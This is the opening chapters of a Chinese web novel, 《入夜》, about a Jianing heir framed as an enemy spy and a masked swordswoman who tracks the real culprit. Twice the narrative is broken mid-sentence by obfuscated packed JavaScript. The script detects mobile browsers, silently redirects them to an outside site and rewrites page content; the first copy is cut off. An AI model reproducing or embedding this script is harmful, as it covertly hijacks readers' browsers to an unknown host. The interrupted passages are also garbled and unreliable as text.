《入夜》 1. 细作 嘉墨二十七年。 宁、墨两大州再陷剑拔弩张之境，是以民间有传，近来嘉宁布防图被盗一事，系墨川细作所为。当值巡守三十名，二十五名被人割喉放倒，余下五名不见行踪。 嘉宁落了半宿春雨，城北幽丽，小道探新芽，城南却是喧腾非常。 “——站住！” 殷红当街翻卷不迭，衣摆下踏步如飞，引得沥水四溅，给小小子的新装添了几点泥墨。 眼看小孩儿双手攥着晶莹流汁的糖串，张大嘴便要冲娘亲惠钞的背影号哭，红衣人疾趋折返，不知往他口中塞了什么好东西，预备攻城的石炮登时哑火。 妇人转身即任阵风掀起帷帽，不及遮掩，忙低头寻子。自家小儿指向前头追风逐日的红衣裳、再指回缺牙漏气的嘴，仰脸与她呵呵笑：“娘，甜。” 兵部的人一个也笑不出来。 搅乱王城治安的逃犯甚至得闲掉头停下逗弄小孩儿，他们依然被其甩开老远，几十双腿沿街跑了将近半座城池，捣得半死不活。 蒙面红衣电光也似的掠过鱼贩，不禁抬手揉了揉鼻子。 “天爷，那人何等来头？”鱼贩把着推车循望，与面摊的伙计感慨，“非但罔顾礼法在嘉宁王城疾行，还对官兵视若无睹？” 伙计瞥一眼飘落街边的画像，弯腰拾起客人留在桌上的铜板，道：“连兵部与刑部联署的通缉令都照撕不误，您说的，算不得什么。” 许是听清了二者的对话，或教满城百姓当笑柄旁观自觉失颜，为首的官兵大喝手下废物，而后兀自驻足面摊前，提刀指人：“瞎看什么？是老寿星吞砒|霜，活腻味了？谁家嫌日子过得淡，想领上牢饭换换口的，尽可好事！本官一律视作乱民同党押走！” 观者噤声退避，待官兵走远，只听一清亮女声大言道：“要我说，那人撕得好极！胆敢将墨川细作画得与宁世子一模一样，他们才是活腻了！” 众人见女子乘驷马雕车而来，那拨窗幔的手腕叮当挂着玉镯又珠环，面纱两侧坠胡蝶琉璃耳珰，银鎏累丝璎珞压于异彩炫目的绣襟之上，隐约还见车中有人端茶侍奉，无不了然。 此女是位有身份，且不怕得罪官家的显贵。 嘉宁的显贵，自娘胎始，便是让人奉承的命。如适才把这位显贵嘉许之人称作乱民的官兵在此，也必定要跪谢尊训，更莫提些个布衣。 不过，百姓们学着那群惯会挪赃银投善款的官老爷说了不少违心话，对嘉宁世子宁展却是真心拜服。 无论为哪般，人丛中立马有接话者借势放怀：“说的是！若非世子殿下开了私库，去岁虫灾，大伙儿早成饿死鬼了！” 鱼贩连连赞同：“嘉宁贫水，都道倒腾海错[1]的荷包肥，税银缴起来就没个完。入境收十之一二、进城收十之二三，交货还要缴四成利，这不是教咱们北上做买卖的有来无回嘛。好在宁世子仁德，有他坐镇——门税[2]全免、过税[3]减半！” “昔年大雪，多少人一出家门便再没了影儿。这般，世子殿下还亲自领人清道、挨家挨户地发炭和厚褥。我们这摊子，”面摊伙计看着头顶的竹棚，“也是殿下给支的。” ...... 香车内，贵人听着四面八方的夸赞，俨如那好话全数堆到了自己头上，甚是满意。她放下窗幔，挥手示意侍从吩咐马夫动身，道：“先不去宁府了，回宫。” “是，殿下。” - 午后，青阳拂煦，池塘泛起清浅波纹。沿小道行至尽头，独坐嘉宁城北的高宅大院僻静如常。轻烟盘旋其上而不去，似与屋主一般忧心忡忡，候着什么到来。 朱门应声洞开，清池边点缀零星颜色的桃树跟着晃了晃。身形挺阔的男子头顶白日，却身着夜衣。他扶剑疾步穿过庭院，几片桃红乘风落在马靴之后。 此情急如风火，即便是面见嘉宁世子，也难以顾暇那许多被嘉宁言官看得比人命更重的礼节。 夜衣男子匆匆上前，给对外任嘉宁全境通缉、对内仍在研究王城线路图的“墨川细作”呈上书信。 说来笑人，嘉宁布防图被盗，大内之中议论的嫌犯，正是尔来十载，待人亲和、行事谦恭的世子殿下。大街小巷张贴的细作画像，即如城南那位显贵所言，道是比照着宁世子的尊容摹绘而成也不为过。 此事毕竟粘连着二十五条人命，朝廷为安抚民心，业已加派巡卫下至城中各处，到此却没了进一步动作，仅闻大小府衙统一放话：细作行踪败露、无处遁形，万望少安毋躁。 旁人看上头似稳操胜券，宁世子则深知，这是不想管了。 官家安闲，由宁展一手掌权的机密组织——青竹暗阁，闲不得。阁中上千隐士为着揪出真正的细作，几至昼夜不歇。 他身处漩涡，倒是不疾不徐：“你这是从哪儿来？” “城南暗桩。” 宁展扫两眼追随自己多年的心腹近卫，言语尤其轻快：“以宁啊，不是才与你交代过，近几日思思便要回了，切莫拎着你这恶狠狠的佩剑在府里跑吗。又忘了？” “属下知错，日后定当留心。”以宁虽面不改色，教人瞧不出他知错在何处，但的确深感歉仄。他提手抓一把后脑束紧的发，道：“此番事出紧急，还请殿下先读信。” “阁里的新消息？”宁展抬了抬下巴，示意着书信，“可是查到那只趴兵部屋顶的黑耗子了？” 布防图与细作之事未经传开，青竹阁便捉到了风声，于是他当晚就带着以宁前往兵部探查究竟。岂料此行一去，非但被嘉宁“自己人”拒之门外，更是险遭某个蹲伏房檐的刺客趁夜暗算。 那若是只硬碰硬的耗子，倒还好办，奈何其心性谨饬非常。眼看宁展先行注意到“它”的存在，便头也不回地消失在月色中，以致世子仅是堪堪瞥见一团虚影，及一道形似白刃、却绝非寻常兵器能闪出的寒光。 里边尽是令人悚然的杀意。 “属下无能，尚未查明。”以宁单膝抵地请罪，颔首道，“见是老夫人捎来的家书，便紧着捎回府了。” 宁展闻言锁紧了眉。以宁口中的老夫人，乃宁展外祖母——汴亭元氏，即墨川王太后，元叶。 然则，元太后常是每月月初寄送信札至嘉宁王宫，再经守卫呈递其女——墨川墨氏，即嘉宁文怀王后，墨司琴。二十年来，未曾有变。现下不过月中，且是意外递到青竹阁手上，墨川恐生变故。 宁展兀自琢磨着，拆信的动作不停。他草草摆了两下手，道：“不怪你，起来回话。那刺客狡诈，我也未能及时把握更多线索。” “是。”以宁拱手起身，探问道：“殿下，墨川那边如何？” 宁展逐字通读信函，道：“外祖母在宫中被下了禁。这信是外祖母拟笔，以伯父代书，再由墨川的青竹暗桩发来。依落款粗算，怕已禁足十日有余。” 元太后大抵是忧心女儿身为嘉宁王后，既久困深宫，又左右为难，故将信函秘密寄往外孙掌权的青竹阁。暗桩散布七州，大隐朝市，或客栈酒馆、茶楼戏园，抑或瓦舍高宅。 譬如宁府，即是嘉宁城内最大的青竹暗桩。因位置边远，外州传回的消息通不会第一时间送到宁府，诸如此类要讯，须另着人加急通报。 方今恰逢宁展深陷细作风波，身为世子，亲自前去兵部例行查验，都照样要吃闭门羹。元太后这番求援，无疑求到了泥菩萨身上。 宁展心下好笑，暗道什么布防图，这群小人分明是冲着他来。 幸而青竹阁这些天的奔波不算白忙，好歹确定了一条那细作最有可能选择的逃脱线路。 “走。”宁展卷起桌上被圈画得原样莫辨的图纸，收进左胸内袋，“去城郊一趟。” “殿下。”以宁欲言又止地收好佩刀，提醒道：“眼下您似乎到哪儿都没法通行。” 宁展抽手时不慎扯痛伤处，不由“嘶”地回缩。他 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旁人通敌兴许是求荣，但嘉宁世子撇开自身修筑多年的贤明高楼，而倒戈面上一派和谐、背地乱斗不休的邻家鸡舍，可不就是求损吗？ 纵使宁展才望高雅，于舞象之年晋封少君，号曰“展凌”；嘉宁世子之位，也于三年前得以落定，又能何如？在人心惶惶、四处暗流涌动的时节，嘉宁王储便是哪个阿猫阿狗都敢觊觎一二。 此种手段，他屡见不鲜。 宁展行至屋内，褪去素色外袍，裹上一身靛蓝便服，再转向屏风，撕下每日反复扮上的假脸，露出自己原本的容貌，最后以黑缎遮面，留得一双桃花眸。他看着许久未打照面的铜镜，犹豫片刻，终是取下了不属于他这个年岁却佩戴多年的玉冠，任由一束长发垂坠脑后。 世子几步跨出房门，候在一旁的以宁似乎觉察到异样，目光凝注。 宁展踏着莲纹砖走向庭院的兵器架，恰瞥见游廊上经过几批神色慌忙的侍役，无一不是远远向他弓腰行过礼后，便抱着怀里大堆凌乱的纸张往偏院赶去。 “出什么事了？”他放慢脚步，背对以宁问道，“他们手里拿的何物？” “兵部前阵子贴的通缉令，这些天任人撕了大半，扔得街上遍地是。他们手里拿的，正是属下取回要烧毁的画像。”以宁神情不属，全凭自己平日述职正经八板的状态在答话。 宁展明白，以宁是看不过肖似他的画像任人踩在脚下受辱，这才悉数收了运回宁府处理。 他私下向来不甚在意这些虚的，况且那张脸本也不是真容，于是道：“下回不必如此，撕便撕了。按理说，我还要多谢那位义士大勇出手。你上前与人交涉了么，可曾叩问其人尊姓大名？” “不曾。那人行事刁滑，一路撕一路跑，实在半点不像义士。”以宁隐隐有些不忿，“属下今日并未蒙面，不便在城中疾行，恐让兵部和御史在这节骨眼上拿住错、牵累殿下，只得由那红衣人逃去。” “做好事不留名，如何不像义士？”宁展从铁架上挑了柄自己近来使得最趁手的短剑，方才回头疑惑地看着以宁，“为何不动？你被谁钉在那处了，还是不敢与本细作同行啊。” 以宁终于回过神来，快跑跟上，道：“殿下，您的脸......” “哦，你也有年头没过见这张脸了。”宁展偏头看他，似是轻闲调侃，“怕是要记不清了。” “殿下一家人的面容，属下当永志不忘。只是，属下有一事不解，为何......” “为何蒙了这么些年的皮相，今日给摘了？”宁展牵来快马。他漫不经心踢开小道当中的碎石子，搭上以宁的肩膀打趣：“因为本君和那个惹了祸便怂着胆躲起身的细作，不可同日而语。” 以宁兀自住了嘴。他知道远远不止如此，但殿下或许一辈子也不愿与人道这出个中缘由。 2. 闹剧 主从二人鲜见无言，一前一后，缓速行进。 以宁定定看着前方略显落寞的背影，昔日里受众人高捧，举手投足无不典雅的世子殿下，此刻信手执剑，安逸打马，反倒像个来去自如、穿梭绿林的侠客。 之于宁展，以宁是自小护佑他平安长大的哥哥。儿时，凡危险的地界或物件，以宁绝不让他靠近。宁展仅仅被罚过的两次板子，也是以宁挡在前面挨了。 可在外人看，宁展更似兄长。 以宁不谙世故，寒暄、宴客、送礼算是一窍不通，这些也轮不到他操心，他只管做一柄无可替代的佩剑，守着宁展康健无恙。 剑不需要多余的温度和色彩，因此他被收入鞘时是何模样，拔剑迎敌之际亦复如是。只有宁展偶尔说笑逗着这木头般的冷脸大哥，以宁才会乐出声来。 此时执剑者无意调笑，手中剑触及其掌心，自能明白那欲发而不得的隐忍与无奈。 天色渐晚，再往前即是荒山野岭。宁展收起舆图，与以宁折返回到方才路过的官驿。 小二殷勤迎门，但瞧他们一未着官服，二装扮朴素，懒怠空话奉承。 “两位打尖儿还是住店？” “住店。”以宁道。 “可有文牒？” 宁展粗略扫视着寥寥无几的客人，再仰首环顾二楼布局，默不作声。以宁取出宁展事前交与他的少君腰牌，举起以示来路。 小二看了，连忙招呼掌柜。掌柜察清令牌后脸色僵白，又谨慎地反复打量两人样貌，谄媚陪笑道：“抱歉啊二位官爷，小店客房满了，烦请您另寻他处罢。” 平素这块牌子，在嘉宁乃至七州境内，除却恨毒了嘉宁人的永清，以及非七州大典时期皆闭关锁门的步溪城，绝无不可行之说。今时今日，谁不知被全嘉宁通缉的细作长了张神似宁世子的脸，寻常百姓不以为意，但挨着官家做生意的就必须把皮绷紧了。 琛惠三十六年末，嘉宁与墨川长达十三年的内战终于息止。然宁朝隆盛不再，帝自退为王，归心未满两代，疆土再度七分为宁、墨、步，三大州；景、汴、清、琅，四小州。改元嘉墨。 三大四小分别于嘉宁、墨川、步溪、景安、汴亭、永清、琅遇重建王城，如旧分治。 改朝换代尚且如黄尘清水，变动堪比跑马，遑论权势更迭。上边儿明枪暗箭斗得凶，到头来，第一个尝着佳酿易毒酒的，还是他们这群喝惯了清水米粥的贩夫皂隶。 眼前，谁敢收泥菩萨座下的活佛呢？ “没有客房你们还问客人是否住店。少君腰牌在此，见牌如见人。我等奉世子之命彻查细作，为朝廷办事，却是连官驿都住不得？”宁展故作威严，言辞间自然模糊了他们二人的身份，“您是在藐视天威？” 以宁看了眼势要自假自威的世子，也随之摆出一副更为唬人的表情，将令牌直贴到掌柜眼皮子上。 掌柜十分无奈，未瞧出几成天威，倒是好大的官威车轮一样碾过自己的老脸。他瞥见两人腰间的佩剑，总归没敢吭声。 “既没有客房。”宁展道，“用饭总可以了？” 掌柜本能地后退两步，仍是赔笑。 “知道我们身居要职，为何不答话？您是不清楚嘉宁如何处置目无尊卑之人，”宁展倏地摘下面纱，“还是想亲笔修一修律法？” 目无尊卑者，轻则断指，重则斩首弃市。 三人相持不下，一时间，大堂静得夹菜斟酒的细碎杂声也清晰无比。以宁上前几步，指向那桌灰头土面、坐无坐相，身着殷红大快朵颐之人，质问掌柜：“那他凭什么在此用饭，我看他穿着打扮与我们别无二致。” 讲好听些，是相仿的简朴。难听些，就是这边寒酸，那边粗俗，双方随意到一处去了。 “哎哟喂！官爷......”掌柜颤巍巍按下以宁的手臂，“使不得。这姑娘可是......” 姑娘？宁展和以宁是横竖没瞧出来。 “咳——咳咳咳......”近乎同时，那人高声且不自然地咳了起来，而后拿起桌上近乎未曾动过的酒壶猛地饮下大半，话未及道出，却咳得更厉害。 三人默默转了朝向，背过身去。那主从二人自然是无意盯着女子出洋相的模样看，掌柜则像是生怕得罪哪边，恨不能遁地活埋了自己。 待顺过气，女子终于开口：“掌柜的，都是自己人，让他们住罢。” 掌柜的神情瞬间复杂起来，这两拨人何时关系如此融洽了？他走到女子身旁反复确认，不防被尖利的刺针抵上脉门，听得女子低声喝斥：“朝廷行事绝密，胆敢将我的身份透露出去、招致宣战交兵，两头第一个饶你不得！” “欸欸欸，是自己人就好。”掌柜不敢耽搁，忙高声叫人：“你们几个，赶紧这给二位官爷收拾出客房！” 如此没头没脑的妥协，倒是让适间底气十足的主从二人算不明白了。 这姑娘是何方神圣？ 宁展顺势走到女子桌前，掀袍落座，却见女子拿起旁侧的折扇和包袱，一言不发，大步流星上楼回了房，徒留两个大男人在原地干瞪眼。 主从二人草草用过晚饭，进屋掩起门，宁展近乎脱口而出：“阿宁，你以为她是何人？出于何故要帮我们？若真是自己人，我又岂会认不得。她——” “殿下，您是否忧思过虑了？” “你瞧她那把扇子和那身红衣，不可疑吗。假使她就是那个教我背黑锅的细作呢？还有出门在外不能称殿下，这也忘了？” 以宁被这串连珠话打得头疼，又抓了抓后脑，道：“抱歉，公子。但属下记着，兵部称那名细作身长七尺有余，且是个面带胡须的中年男子。至于身着红衣、手拿折扇之人，整个嘉宁没有一万也有八千了。” “你信吗？别说兵部，六部加起来也没几个可信的。”宁展修长的手指在圆桌一下两下“嗒嗒”敲着。片刻后，他离了长凳，极缓慢地走向房门，“此女子同那细作决计脱不了干系。而且，我总觉着在何处见过她......” 以宁跟着宁展悄声摸到女子门前，穿过缝隙，勉强能窥得那张熟悉的通缉画报大剌剌摊在圆桌上。 灯青膏歇，像是燃了有一阵子。 另有小半碟子含桃压置纸报一隅，独不见屋中有人。 ——哗！ 两扇木门霎时大开大敞，方才扒着门板的八尺男儿双双跌进屋内，吃了满嘴灰，残灯忽跳欲灭。 红衣女子蒙面端抱两臂，泰然靠在一旁，斜眼鄙夷这俩深夜窥看姑娘的淫贼，等着他们率先辩解些什么。 “你！”宁展顾不上掸干净衣裳染的尘土，迅速蹿起来走到女子面前，手握成拳，猛地挥至她面前。 绯纱随这阵快拳扬起一角，脸颊两侧散着几缕青丝垂于纱前，纱后则似闺阁千金般养得白皙透亮的肌肤，与宁展入暮时分在大堂初见的灰面黄皮迥乎不同。 女子毫不犹豫地起身拉开间距，护住面纱，喝斥道：“两个登徒子，非但不念及我先前帮你们一把，还大半夜偷窥女子里屋。你们与外头那人人喊打的细作才是别无二致！” 宁展简直被这不问是非的女子气得想笑，虽一忍再忍，但心火难抑：细作、细作，又是细作。再让他听到这两个字，非得将此人打入地牢亲自审讯不可。 以宁宽厚的手掌拍上宁展左肩，算是彻底压下许多年不曾出现在他身上的火气。 冷静少顷，宁展拿出一贯蔼然可亲的友好笑面，双手抱拳，倾身给女子作揖示歉：“今日之事，对不住女侠。但我们绝非那等卑鄙宵小之辈，此行也是为查清......细作之事。” 女侠睨着二人，不作声。 没将他们就地扫走，意味着消气了？宁展缓缓抬眼，似是小心试探。 女子在昏暗中与他对视半晌，散漫道：“接着说啊。” “不若......”宁展边说边往房屋里挪了两步，“进屋谈？我看咱们许是为着同一件事而来。” ...... “要么去我们那屋也成？” 女子眼珠一翻，移至圆桌旁落座，重新点起油灯。 金光暖热，宁展见状自以为征得同意，领着以宁正要跨步坐下，乍听得啪啪两响，女子将余下俩圆凳尽占了。一个放折扇，一个放茶壶。 打宁展出生那刻起，要置他于死地的角色和手腕不胜枚举。见多了江湖上稀奇古怪的暗器，这谁敢坐？ 二人悻悻收腿，立在桌前。 双方静默良久，宁展率先好言道：“女侠，方才你在堂中说我们是自己人，可在下观女侠之风采，不似寻常官僚。莫非此行......同是青竹阁所派？” 平日里宁展自是不可能贸然提起青竹阁的名头，然这女子言行举止放纵无度，一身江湖气，又手握畅通官驿的文书，多半也是哪个朝廷暗阁养的隐士。 这个“同”字，就用得更巧妙了。 “嗯.....”女子若有所思，“目前不是。不过我此来，一是如你们所见，为着探查这细作之事，二便是以此为投名状，加入青竹阁。” 宁展与以宁相视后不禁破颜大笑。以宁没能领会他家殿下是何用意，但并不影响宁展越发恣意的笑声。 女子见状更是茫然若迷，不等她发问，宁展爽快道：“既如此，你便协助我等查案。如若有功，我们自会引荐女侠入青竹阁。” 女子闻言一喜，随即蓦然起身，反手拾起折扇，以扇柄分别抵住二人的后肩，自然而然地将人往外推，潇洒道：“甚好甚好，总归是不辜负我先前一片好心。那便这么说定了。” 她话音未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女子悠闲地提溜茶壶给自己斟满一杯，浅尝细品，缓缓道：“布防图。” 宁展难得耐不住性子，抢过图纸查看，须臾后将东西甩回原处让以宁瞧。以宁浏览一番，有些不快：“女侠莫不是在寻我二人开心？这分明是由伪造之物，图纸粗糙、边界模糊、望楼与——” 宁展抬手截下以宁的话。 女侠解了渴，神色却颇为无奈。她借茶杯将图纸自左往右压平整，道：“谁说此物便是真图了。” 眼看左右齐齐横眼，好比下一刻就要拔刀相向，她赶紧找补：“但是！但是啊，这倒真真是细作拿走的那一份图纸。案发当夜，我是亲眼看着他从兵部大门出来，也是亲眼看着他整个包袱落在前边那片林子里的。” 她将左肩挂的包袱堆在桌上，边拨弄边说：“这里头还有通关文牒和些许银票、地契。” 宁展仔细研究着桌上的细碎物什，文牒多半也是伪造，不过地契、银票和那张嘉宁兵部批印的通行文书瞧着甚是真切。这包袱的主人许是打算干完这票就卖房卖地、带着家底远走高飞，可如今看来，又不见得仅此而已。 以宁道：“你可瞧见二十五名当值巡守是谁杀的？那细作有无帮凶？” “该说......贼喊捉贼？不对。”女子握着茶杯回忆，“自尽的话，怎么算？” 以宁默然，无怪青竹隐士暗访时，周围的百姓都说没听着打斗声；问及兵部，也尽是装聋作哑之人。他对嘉宁没什么感情，与此异乡唯一的牵绊便是宁世子和文怀王后，可听外人亲口道出这堪称家丑的事，也直觉丢脸。 丢了世子的脸。 于宁展而言，局势清晰了不少。这出闹剧果真是冲着他与母亲一族而来，兵部那群朋党也算是逮到机会了——明知布防图安然在手而四下拦他去路，怕不止是想趁此时机让他吃个教训。 宁展眼神示意以宁收好包袱，再将他拽到门外，低声道：“速去请母亲修书墨川，说我们择日便去拜见齐王。另外，交代阁里接着查细作和那五名巡卫的下落。” “是。” “还有。”他把住以宁领命的手，“好生感谢舅父‘惦念’，劳烦他代我问表弟安。” 墨川齐王墨司齐，即嘉宁文怀王后长兄、宁展舅父。 “是，公子回程路上当心。” 宁展折回屋内，那女子仍在悠悠然品着没几根茶叶的清汤。没了继续周旋的必要，他迅速拔剑，寒光掠过，利刃已然抵上对方后颈。 感受到颈间的冰凉，她干脆地放下杯盏，语调却不慌不恼：“冒昧问一句，青竹阁中，皆是如公子这般热衷恩将仇报的无赖吗。” “奇了。”宁展答非所问，“你也有发觉自己冒昧的时候？” 3. 皮囊 “昨夜一回，今日一回。待我面见世子殿下，”女子对天拱手，“定要参上你二人一本。” 世子殿下本尊险些再度被逗乐了，听着还以为此人当真与他很相熟呢。 “多说无益。既要投名状，亲眼目睹那细作逃窜，何不将其当场拿下？你究竟姓甚名谁，”宁展言语发狠，似像未察觉剑刃在她后颈上见了道红，又像刻意为之，“接近我们，是何目的。” “我跟了他十天，那人一见我便头也不回地跑，试问哪个女子敢在嘉宁城中疾行喧哗？叫不得也追不得——况且我得了图纸，瞧着不似真迹，以为要抓他还不如抓那绘图的有用。至于目的，我早已言明此行所为何事。姓名......” 女子毫不规避伤处，甚至顶着锋利抬头望他。 “在下宁佳与。” “你跟了他十天。”宁展道，“不会不知那人是何样貌罢？” “中年男子，身长约七尺，面有胡须。” 竟与兵部的说法如出一辙？无论是她实话实说，还是其背后之人同嘉宁内外勾结，皆出乎宁展预想。 如是后者，嘉宁有此为夺权而不择手段的奸党，真是药石无功了。 “你会看布防图纸？”宁展卸下往日面向臣民的和颜悦色，眼底凉薄毕现，俱是将这满口谎话的江湖女子当场了结的意味。他不顾人死活一般，直推着锐利的剑刃前移，“还姓宁？” 一介外州女官，怎可能与嘉宁王室同姓。难不成嘉宁已被轻视至此，墨川就妄想凭这位伪装差劲至极的小姑娘打入青竹阁？ 如是前者，上千青竹隐士搜寻无果之人，她却如此顺利地跟了十天，又亲手拾得包袱，未必不是双方配合做戏。 墨川演这出布防图闹剧、幽禁元太后，是企图献祭一个无足轻重的女官挑起嘉宁内部纷争，还是转移视线、暗行阴谋？搅动七州风云的细作，是否另有其人...... 他越想越深，不禁入神。趁此间隙，女子狠狠夺下剑柄，转过手腕，将尖端指向回过神的宁展。 宁展不以为意地摊手，心想左右此人斗不过他，如有功夫在身，也不致任着他生生划出那一道见肉的血口。 宁佳与并未反过来威胁人，甚至没有用剑指他太久，却是卯足了气力，直接将剑格往身旁的红柱撞去，原先低束脑后的长发顷刻荡起，落在右肩。 不过眨眼，柄与刃作了别，刃堪堪掉在地上，柄由她随手甩向宁展。 “——你！” 宁展一把接住自己好容易用趁手的佩剑残尸，显然无法继续容忍此人。 “你放肆。” 宁展搁下剑柄，随即快步跨至宁佳与身前，紧拳冲那张可恨的脸挥去。不想宁佳与浅浅转身一闪，令他满腔怒意全数砸在红柱之上。 他哪儿还管手或疼或麻，只顾接连出脚飞踢。 宁佳与猝然背过近乎快被踢上的左臂，右手同时绕后，自腰间抽出折扇朝宁展的长靴聚力痛击。宁展尚未站定，她紧着开扇挥出四枚又四枚细针。 瞧方才神气非凡的男子现下进退维谷趋避，她昂然摇起了扇子歇凉，捧起碎发的每一缕风都在幸灾乐祸。 “公子如此翩翩气质，何必舞刀弄枪，多危险啊？我瞧那利刃太过尖锐，才好心折了两段，公子可莫要会错了在下一番美意。” 小胜一筹的宁佳与不只嘴上妖声怪气调笑着，甚至摸出袖袋偷藏的几粒含桃一解口欲之馋，散诞非常，不可谓不嚣张。 宁展像是恢复了神智，脸色只剩平静。 他抚下两袖看不见的尘土，淡然道：“你身为女子，功夫不俗，又何必偏要入那青竹阁。正当年华者，莫善于自在江湖、逍遥一生。” “在下听闻，这青竹暗阁的掌阁生了副好皮囊，肤如羊脂白玉，眸含春池潭水，为人更是一等一的君子，小女子自然心生倾慕。不过——” 她负手打量着宁展，似笑非笑。 “凭公子的姿色，没准儿能与那位掌阁打个平手。” “你......与人家素未谋面，怎知我们二人不分胜负......荒唐。”宁展觉得她荒唐，搭她话茬的自己更荒唐。 “玩笑话罢了，公子怎的还羞红了脸？” 宁展极少以真面目示人，十余年来，唯有母亲、外祖母、以宁及某位已故之友清楚见过。可不管是他这张原生的脸蛋，还是家中摘下的那副假皮，皆未曾遇上过行事如此无礼而乖张的女子，遑论那般......轻浮十足的玩笑话。 他仓促退去半步，整一个不通风月韵事的纯情儿郎，又凡事都不甘心任旁人压自己一头。 脸皮薄算什么，嘴够硬不就成了？ 宁展拳头一紧，朝着宁佳与追回三步，顶着赧颜，故作镇静地问：“心生倾慕？所言当真？” 适才稍占上风的宁佳与被宁展逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679209|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至墙角，局势遽然逆转。她如何料得宁展会对这无厘头的示爱展开追问，一时有些恼羞成怒，猛地挥起了手中的银骨扇，颇具恐吓意味。 “......你爱信不信！” 对于儿女之情，宁展生疏归生疏，心里自是不会将宁佳与当真。 如今嘉宁险象环生，倘若他坚持与此女子在官驿内以拳脚谈判，朝中那群狗腿子遍及嘉宁的乌合之众怕是闻着血味就来了，届时授人以柄不说，指不定还要将官驿连累进去。再者他佩剑已折，不见得是这手握暗器、高深莫测之人的对手。 眼下，看紧此人、打道回府才是上策。狂龙难压地头蛇，进了青竹阁的地盘，还料理不得她？宁展清了清嗓，拉开距离，道：“话说回来，布防图一事，你也算略有贡献，且随我回宁府，听候世子指示罢。” 宁佳与见好就收，识趣地点点头，跟上步伐异常匆忙的公子。下至官驿大堂，她一对圆活杏眼暗自打了圈转，唇角略微提起弧度。 “公子，先前忙着捡拾贼人包袱，小女子没顾上拴马，如今不知跑向何处去了。能否......” 宁佳与言语间诚意满满，宁展回过身来，却瞧她脸上分明犹是洋洋自乐的颜色，再瞧，则已是无可挑剔的不知所措。任是神仙出手，怕也比不过此等境界的幻术。 那就只能是妖怪了。 “如此，便烦请女侠跟着本公子马屁后面腿两步罢。沿这条道进了城门，直直向北就是了。” 宁展麻利地飞身上马，说着便要扬手甩缰绳，又回首笑笑。 “一定来哦，宁府恭候尊驾。” 他马屁一拍，疾驰而去。 宁佳与目不转睛地盯着他背影渐远，手中折扇饶有节奏地敲在腿侧，尖冷的银骨节节相碰，“咔拉”作响，昭示着利器舔血的凶气。 晃眼间，她依稀瞟见宁展腰侧所佩的茄袋。 那抹褪了色仍旧精致的桃色随着颠簸上下翻飞，最后总能稳稳落回靛蓝的绣袍。 起初，宁佳与只觉得那双桃花眸有些微熟悉，也猜测陈年老物或许早易了主。此际，荷包跳跃的模样并着那双眼齐观，她没能清楚忆起故人的旧颜，却清楚想到自己误打误撞听得某个人名的瞬间。 “是你啊。”宁佳与嗤笑一声，喃喃道：“许久不见......元公子。” 那瞬间，即是荷包制成之前，穿针引的第一缕彩线。 4. 小与 莫说怜香惜玉之心，在宁佳与眼里，那人怕是连虚与委蛇之敬都做不成一分。 彼此犹是对面不识，她便十分痛快地交出了满包袱诚意，哪怕那包袱她得来毫不费力，于青竹阁没有劳苦但有寸功啊。那人倒好，上来就还报她一道口子，现下估摸着还渗血。 纵时移事迁，昔年印象尘封久矣，总不乏残迹可循，可宁佳与在那公子哥身上找不到半抹故人行侠好义的旧影。 举止蛮横，言辞傲慢。 都道什么样的主子养什么样的下属，青竹阁这般作派，料想嘉宁世子也未必是个好东西，如她所掌握的小道消息——人前活菩萨、人后阎罗王，果真伪善。 早知那人绝情至此，她昨夜断不会狠心将那可怜的马儿赶走，至少在偌大的嘉宁还有个老搭档作伴。现下却不晓得她同那有去无回的马儿谁更可悲了。 宁佳与向掌柜买了匹小马，闷头动身。 其实不消旁人指路，她在此地徘徊月余，早已摸清嘉宁世子私宅何在，以及哪条道能够绕关直抵城北。 城北人烟稀少，巡卫也不往这边靠，没谁管得着打马过街的无赖。 宁佳与勒马抬头，即是黑漆漆的“宁府”二字。杂役闭口不问，规规矩矩上前接绳牵马，她松手提步，大门便识相似的开了。 一瞧，是那位完全不识相的公子哥，脸上还遮着副圈眼架鼻的飞鬓面具，好不碍眼。 “哎呀，贵人。”宁展立于两侧门房中间，负手道，“有失远迎。” 宁佳与不欲搭理这腔，绕过他径直往庭院去。 雨催葱茏，桃花仍兀自绽着几片，颜色却比前日明艳不少，塘里三三两两的游鱼也乐得自桥下冒出头戏水。杨柳倚风拂面，恰好洗去女子脸颊两侧的微尘。 清净的宅子迎着稀客，好像一切都是那么知趣，除了—— “较之鄙人预计，姑娘来得似乎要快许多啊。” 宁佳与斜他一眼，道：“劳您费心了。” 进了客堂，公子哥也没有给客人煮水沏茶的意思。宁佳与背靠圈椅，舔了舔干涩的唇角，架起黑靴踩了一座儿的泥，左顾右盼。 宁展瞧她无所适从，情态都添了几分神气，道：“交代罢，你一定要加入青竹阁的实情。” “在下对世子殿下心怀倾慕，誓死追随。” 宁佳与几乎是冲口而出，说罢望向宁展的目光更为坚定。 ...... 听了这般“衷言”，世子殿下愣是没能得意下去，几度无法直视宁佳与。 怪也怪他这十余年惯以大业为托辞，对姑娘家敬而远之。不意如今大业未半，三番五次任那假惺惺的风流俏语打得脸热。而遮脸的面具在妖物跟前简直等同灯草作弦，不值一谈。 宁展绷着声儿吩咐下人给宁佳与收拾厢房、预备午膳，手掐日有万机待理的卦相，走为上策。 那心劳意攘的模样就不像懂卦之人。宁佳与咂摸出反常，难免纳罕。 她自白钟情世子，这人何故装什么非礼勿听的纯情郎君。 莫非真如师父所言，嘉宁世子不近女色，有......断袖之癖？念及此处，正当和煦的时辰也令她一抖，遂即刻划去众师兄弟所谓对男子最是好使的美人计。 